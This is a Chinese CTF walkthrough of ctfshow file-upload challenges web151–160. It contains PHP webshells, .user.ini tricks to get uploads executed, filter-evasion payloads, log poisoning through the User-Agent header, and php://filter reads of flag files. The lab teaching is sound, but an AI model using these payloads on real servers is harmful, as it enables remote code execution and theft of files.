ctfshow-web入门-文件上传(web151-web160)

目录

1、web151

2、web152

3、web153

4、web154

5、web155

6、web156

7、web157

8、web158

9、web159

10、web160


1、web151

试了下前端只能传 png 后缀的

将一句话木马改成 png 后缀,上传后用 burpsuite 抓包

绕过前端检测后,改回 php 后缀,发包

调用:

/upload/eval.php?cmd=system('ls');

发现 flag 在上一层目录:

/upload/eval.php?cmd=system('ls ../');

读取 flag:

/upload/eval.php?cmd=system('tac ../flag.php');

拿到 flag:ctfshow{e3bd0332-4d5f-4255-941f-a2e6095c4f17}

我们还可以直接改它前端验证的代码:

原本只支持上传 png 后缀的文件

我们加一个 php 后缀进去,即可直接上传 php 后缀的文件

2、web152

同样前端只能传 png

但是只改前端代码是不行的,说明后端还有检测

传 png 后缀的木马,使用 burpsuite 抓包,改回 php 后缀发包即可,这里后端检测的就是这个 Content-Type(MIME类型),因为我们本身一开始就是传的 png 后缀,所以这里不需要改,就是 image/png 类型,如果你一开始传的 php 后缀,则需要改这个 Content-Type 为图片类型。

调用:

/upload/eval.php?cmd=system('ls ../');

读取 flag:

/upload/eval.php?cmd=system('tac ../flag.php');

拿到 flag:ctfshow{e9f076b9-738c-457a-a97d-9118043a5170}

3、web153

按照上一题的方法,回显 unicode 编码:文件类型不合规

换方法:上传配置文件 .htaccess 或者 .user.ini

这个是文件上传很常规的操作,这两个配置文件都可以让其它类型的文件被当做 php 文件进行解析,具体哪个能用,取决于题目环境的实际情况。

先测试 .user.ini

内容为:

GIF89a
auto_prepend_file=eval.png

为了绕过前段验证,我们也需要先改为 png 后缀,再用 burpsuite 抓包改回来:

上传成功

之后传入 eval.png,直接传即可

我之前做过的题都是去连 /upload/eval.png,而这道题它是要连 /upload/index.php

看其他师傅说是木马被自动包含进原来目录里的 php 文件,一般是index.php

一开始 upload 目录可以访问到,说明 upload 目录中含有 php 文件

确实在 upload 目录下可以调用到 eval.png 

拿到 flag:ctfshow{84684dac-a254-4430-82a8-084d2d3c3168}

4、web154

试了下 .htaccess ,发现不行,那就继续传 .user.ini

传 eval.png,发现被检测,因该是对文件内容进行了检测

这里检测的是 php,使用大小写绕过一下

上传成功

调用:

/upload/?cmd=system('tac ../flag.php');

拿到 flag:ctfshow{8fcedb5b-b320-49ae-a24a-367bc2bc30b4}

5、web155

同样先传 .user.ini

但是在传 eval.png 时又遇到了问题,说明新增了其他过滤 

测了一下这里过滤的还是 php 但是不区分大小写,可以采用短标签绕过:

<?= @eval($_REQUEST["cmd"]) ?>

 

ctfshow{b2012b6b-2fc3-4d0c-8c47-1b39218f6e4c}

6、web156

先传 .user.ini

肯定会新增其他的过滤,我们先对文件内容做一下 fuzz 测试

写了个 python 小脚本用来生成我们模糊测试的字典:

# 输入一串字符
input_string = input("请输入一串字符:")

# 将字符拆分成单个字符,并添加换行符
split_characters = "\n".join(input_string)

# 将结果写入 fuzz.txt 文件
with open("fuzz.txt", "w") as file:
    file.write(split_characters)

print("字符已拆分并写入 fuzz.txt 文件")

得到字典: 

选择测试位置: 

可以看出来是新增过滤中括号:[ 

实际还过滤了分号,只是短标签中可以省略,因此我没有用到。

我们使用 {} 代替:

<?= @eval($_REQUEST{"cmd"}) ?>

上传成功 

ctfshow{0b3821a9-ccf0-47a8-952d-cbf300a148e0}

7、web157

先传 .user.ini

继续在上一题 payload 的基础上进行模糊测试:

发现新增过滤大括号:{

因此我们一句话木马就不好写了,但是我们可以直接传入恶意的 php 代码,直接去执行读取它 flag 的命令:

<? system('tac ../f*') ?>

上传成功

访问 upload 目录:

拿到 flag:ctfshow{7a953bed-eed4-4ec9-ae3a-2371c9199ac8} 

那么,有没有能使用的一句话木马呢?不使用到中括号和大括号。

当然是有的:利用 array 数组

<?=
array_map("assert",$_REQUEST)
?>

调用:

/upload/?assert=system('tac ../flag.php');

此外应该是还有其他类型的一句话木马的,这里就不做演示了各位自己去研究和发现。

8、web158

先传配置文件

直接传上一题的 array.png,发现可以上传成功

调用:

/upload/?assert=system('tac ../flag.php');

ctfshow{a32b7333-2619-47ca-9ba6-16df22bda293}

我们看一下 upload.php :

preg_match('/php|\{|\[|\;|log/i', $str);

这里新增过滤了 log,为什么要过滤 log?

其实从上一题开始已经涉及到了一个东西,就是日志文件包含。

还是先传 .user.ini (这里针对的是 1.png,避免受前面操作影响建议重启环境进行测试)

我们包含日志文件看一下是什么:

这道题新增过滤了 log,我们使用点进行拼接绕过

<?=include '/var/l'.'og/nginx/access.l'.'og'?>

上传 1.png

访问 upload 目录,发现内容为 user-agent 的内容,也就是说我们日志文件包含成功

接下来我们就可以进行 ua 头注入:

插入恶意代码或者一句话木马

再次访问 upload :

成功回显 flag

9、web159

还是先上配置文件

fuzz 测试:

这次把括号也过滤了,也就是说不能直接使用函数了

上一题的日志文件包含是可以继续使用的,这里不再演示

此外还有一种方法就是使用反引号进行命令执行:

<?=`tac ../f*`?>

上传成功:

访问 upload 目录:

拿到 flag:ctfshow{44ba6e5c-4398-40ef-beec-229b460e23f5}

10、web160

先做模糊测试:

新增过滤空格和反引号

日志文件包含进行 ua头注入也是可行的

这里再说另一种方法,使用 php 伪协议读取:

先上配置文件

接着传 2.png ,使用 php://filter 读取 flag.php 的源码,注意使用拼接绕过关键字的过滤。

<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>

上传成功

访问 upload 

PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0yMSAyMTozMToyMw0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMTAtMTYgMjI6NDE6NDANCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxhZz0iY3Rmc2hvd3szZWIxY2MyMy05YmRmLTQ4NzYtOWU0Ny0xYTg2ZjA3NzBmMmJ9Ijs

解码得到 flag:

ctfshow{3eb1cc23-9bdf-4876-9e47-1a86f0770f2b}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/780311.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

(南京观海微电子)——MOS管原理及应用区别

MOS管&#xff1a; 全称为金属氧化物半导体场效应管&#xff08;Metal Oxide Semiconductor Field Effect Transistor&#xff09;&#xff0c;也被称为MOSFET&#xff08;Metal-Oxide-Semiconductor Field-Effect Transistor&#xff09;。它是一种半导体器件&#xff0c;常用…

[数据结构] 基于选择的排序 选择排序堆排序

标题&#xff1a;[数据结构] 基于选择的排序 选择排序&&堆排序 水墨不写bug &#xff08;图片来源于网络&#xff09; 目录 &#xff08;一&#xff09;选择排序 实现&#xff1a;(默认从小到大排序) 优化后实现方法&#xff1a; &#xff08;二&#xff09;堆排序…

latex英文转中文word,及一些latex相关工具分享

前言&#xff1a;想要转换latex生成的英文pdf文件为中文word文件 一、主要步骤 1、文字翻译&#xff1a;直接使用谷歌翻译等辅助将英文翻译成中文即可&#xff1b; 2、图片&#xff1a; 使用latex时一般保存的.png&#xff0c;.bmp格式图片可以直接插入word, 但是.eps或者 .p…

基于Android Studio零食工坊

目录 项目介绍 图片展示 运行环境 获取方式 项目介绍 用户 可以浏览商品 &#xff0c; 查询商品 &#xff0c; 加入购物车 &#xff0c; 结算商品 &#xff0c; 查看浏览记录 &#xff0c; 修改密码 &#xff0c; 修改个人信息 &#xff0c; 查询订单 管理员 能够实现商品的…

AIGC专栏12——EasyAnimateV3发布详解 支持图文生视频 最大支持960x960x144帧视频生成

AIGC专栏12——EasyAnimateV3发布详解 支持图&文生视频 最大支持960x960x144帧视频生成 学习前言项目特点生成效果相关地址汇总项目主页Huggingface体验地址Modelscope体验地址源码下载地址 EasyAnimate V3详解技术储备Diffusion Transformer (DiT)Hybrid Motion ModuleU-V…

分布式整合

一、分布式架构介绍 什么是分布式系统 分布式系统指一个硬件或软件组件分布在不同的网络计算机上&#xff0c;彼此之间仅仅通过消息传递进行通信和协调的系统。 通俗的理解&#xff0c;分布式系统就是一个业务拆分成多个子业务&#xff0c;分布在不同的服务器节点&#xff0…

测试环境:使用OpenSSL生成证书并配置Https

文章目录 需求1、安装OpenSSL1.1、安装包下载1.2、安装&#xff08;以window 64位为例&#xff09;1.3、配置环境变量&#xff08;非必须&#xff09; 2、生成证书2.1、新建文件夹2.2、生成根证书2.2.1、生成私钥2.2.2、生成根证书&#xff0c;并且自签名 2.3、服务端证书生成2…

JDBC的基本认识

前提 在了解和学习JDBC之前&#xff0c;大家 已经学习过 java语言 和数据库的基本知识了&#xff0c;今天这篇博客的核心&#xff0c;就是告诉大家 &#xff0c;jdbc 是连接java编译器和数据库&#xff0c;是使用java对数据库进行操作的。 正文 JDBC简介 概念 JDBC的本质 1…

解决微信读书和Apple Books导入epub电子书不显示图片的问题

title: 解决微信读书和Apple Books导入epub电子书不显示图片的问题 tags: 个人成长 categories:杂谈 最近找到一本很喜欢的书的电子版的epub版&#xff0c;发现无论是导入微信读书&#xff0c;还是Apple家的Books, 都无法正常显示图片。 于是我用calibre打开epub电子书&#x…

昇思25天学习打卡营第10天 | 自然语言处理:RNN实现情感分类

1. RNN实现情感分类 1.2 概述 情感分类是自然语言处理中的经典任务&#xff0c;是典型的分类问题。本节使用MindSpore实现一个基于RNN网络的情感分类模型&#xff0c;实现如下的效果&#xff1a; 输入: This film is terrible 正确标签: Negative(负面) 预测标签: Negative输…

nacos-sdk-python——Python版本Nacos客户端

Nacos&#xff08;Naming and Configuration Service&#xff09;是阿里巴巴开源的一款动态服务发现、配置管理和服务管理平台。它主要用于解决微服务架构中服务发现和配置管理的问题&#xff0c;提供了一站式解决方案。以下是 Nacos 的几个关键功能&#xff1a; 服务发现和健康…

C++模板元编程(一)——可变参数模板

这个系列主要记录C模板元编程的常用语法 文章目录 引言语法应用函数模板可变参数的打印可变参数的最小/最大函数 类模板 参考文献 引言 在C11之前&#xff0c;函数模板和类模板只支持含有固定数量的模板参数。C11增强了模板功能&#xff0c;允许模板定义中包含任意个(包括0个)…

保研复习 | 数据结构

目录 CH1 绪论☆ 数据项、数据元素、数据结构☆ 逻辑结构和存储结构的区别☆ 顺序存储结构和链式存储结构的比较☆ 算法的重要特性☆ 算法的复杂度 CH2 线性表☆ 单链表 CH3 栈、队列和数组☆ 栈和堆是什么&#xff1f;☆ 栈在括号匹配中的应用☆ 栈在表达式求值中的应用☆ …

Linux中的管道符‘|‘以及SQL(DQL,DCL)

ls 指令 语法&#xff1a; ls [选项][目录或文件] 功能&#xff1a; 对于目录&#xff0c;该命令列出该目录下的所有子目录与文件。对于文件&#xff0c;将列出文件名以及其他信息。 常用选项&#xff1a; -a 列出目录下的所有文件&#xff0c;包括以 . 开头的隐含文件。 -…

【初阶数据结构】深入解析循环队列:探索底层逻辑

&#x1f525;引言 本篇将介绍如何实现循环队列并实现过程需要注意的事项&#xff0c;虽然篇幅较小&#xff0c;但是其中逻辑还是值得引人思考的&#xff0c;循环队列可以采用数组或链表实现&#xff0c;这篇将采用数组实现循环队列 &#x1f308;个人主页&#xff1a;是店小二…

Webpack: Loader开发 (1)

概述 如何扩展 Webpack&#xff1f;有两种主流方式&#xff0c;一是 Loader —— 主要负责将资源内容翻译成 Webpack 能够理解、处理的 JavaScript 代码&#xff1b;二是 Plugin —— 深度介入 Webpack 构建过程&#xff0c;重塑 构建逻辑。 相对而言&#xff0c;Loader 的职责…

阶段三:项目开发---搭建项目前后端系统基础架构:任务11:搭建项目后台系统基础架构

任务描述 1、了解搭建民航后端框架 2、使用IDEA创建基于SpringBoot、MyBatis、MySQL、Redis的Java项目 3、以原项目为参照搭建项目所涉及到的各个业务和底层服务 4、以原项目为例&#xff0c;具体介绍各个目录情况并参照创建相关文件夹 任务指导 1、讲框架的选择和原理 …

java信号量(Semaphore)

Java中的信号量&#xff08;Semaphore&#xff09;是一种用于控制多个线程对共享资源的访问的同步工具。它可以用来限制可以同时访问某些资源的线程数量。Semaphore 提供了一个计数器来管理许可证的获取和释放&#xff0c;每个许可证代表对资源的一次访问权限。 import java…

DB-GPT-PaperReading

DB-GPT: Empowering Database Interactions with Private Large Language Models 1. 基本介绍 DB-GPT 旨在理解自然语言查询,提供上下文感知响应,并生成高精度的复杂 SQL 查询,使其成为从新手到专家的用户不可或缺的工具。DB-GPT 的核心创新在于其私有 LLM 技术,该技术在…

CIRKD

环境不好满足&#xff0c;不建议复现